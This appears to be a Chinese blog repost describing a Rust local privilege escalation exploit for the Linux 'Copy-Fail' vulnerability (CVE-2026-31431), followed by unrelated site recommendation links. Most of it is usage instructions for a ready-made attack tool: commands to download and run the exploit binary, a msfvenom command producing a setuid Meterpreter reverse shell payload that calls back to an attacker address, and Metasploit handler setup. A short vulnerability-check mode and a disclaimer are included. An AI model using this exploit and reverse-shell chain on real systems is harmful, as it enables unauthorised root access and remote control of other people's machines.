CVE-2026-31431 - Linux Copy-Fail 漏洞利用 (Rust版本)和检测方案

CVE-2026-31431 - Linux Copy-Fail 漏洞利用 (Rust)

针对 CVE-2026-31431 (Copy-Fail) 漏洞的本地提权 (LPE) 漏洞利用的 Rust 实现。

它允许执行自定义的 shellcode(例如 Meterpreter)。

简介

Xint 披露了 CVE-2026-31431,这是一个任意页缓存写入(arbitrary page cache write)漏洞,它通过将 AF_ALG 和 splice() 链式结合,实现了一个 4 字节的写入原语(write primitive)。

来源:Copy Fail: 732 Bytes to Root on Every Major Linux Distribution

免责声明

本项目的开发是出于我个人研究网络安全的兴趣。然而,它有可能会被滥用于恶意目的。

请不要将此工具用于任何非法活动。

作者对滥用本软件所造成的任何后果概不负责。

致谢

注意:原始项目使用了经过压缩/编码的 shellcode(例如 /bin/sh)。在此实现中,我将其替换为了原始的(未压缩的) /bin/bash shellcode,使其更容易进行自定义,或直接替换为用户提供的 payload。

如何编译

克隆该项目,然后执行 build.sh:

Bash

复制代码
git clone git@github.com:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh

用法

下载并解压 release 压缩包:

Bash

复制代码
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86

二进制文件提供以下选项:

Bash

复制代码
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin

演示

测试漏洞

在存在漏洞的机器上执行:

Bash

复制代码
./CVE-2026-31431-Linux-Copy-Fail --test

出现 ! VULNERABLE! 说明目标机器存在该漏洞,(用此命令可以检测出目标机器是否存在漏洞)

漏洞利用

Bash

复制代码
./CVE-2026-31431-Linux-Copy-Fail --exploit

Meterpreter

使用以下命令(需将 PrependSetUid 设置为 True)来生成 Meterpreter payload:

Bash

复制代码
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin

在攻击机(Kali Linux)上执行:

Bash

复制代码
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run

在存在漏洞的机器上执行:

复制代码
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin

致谢https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/提供的方案

受影响的版本

相关推荐
StarsGreen1 小时前
libva在intel平台上的前端流程简介
linux
坤坤子吖4 小时前
Linux网络编程:自定义应用层协议与 JSON 序列化
linux·服务器·网络·c++·笔记·json
Sayai4 小时前
Neo4j 图数据质量检查实战:环路检测、孤立节点与连通分量,两条 Cypher 引出的数据体检清单(含变长路径性能陷阱)
运维·neo4j·图数据库·数据质量·cypher
青瓦梦滋4 小时前
Redis主从复制
服务器·数据库·redis·缓存·bootstrap
Elastic 中国社区官方博客5 小时前
更少的位数,相同的召回率:DiskBBQ 更保守的自动校准扫描
大数据·运维·开发语言·人工智能·elasticsearch·搜索引擎
方便面不加香菜5 小时前
Docker Volume -- 管理卷Volume详解
运维·docker·容器
沫璃染墨5 小时前
从零入门计算机网络系列(十八):TCP连接管理详解——从三次握手与四次挥手到TIME_WAIT机制
运维·服务器·网络·c++·网络协议·tcp/ip·tcp
Felven5 小时前
华为鲲鹏920s芯片serdestool工具使用说明
linux·运维·服务器·华为·鲲鹏920·serdestool
江湖有缘6 小时前
Docker实战 | 使用Docker部署lemonitor镜像站点列表程序
运维·docker·容器
LabVIEW开发6 小时前
Omron PLC:接 LabVIEW 常踩的 5 个坑
服务器·网络·labview·labview知识·labview功能·labview程序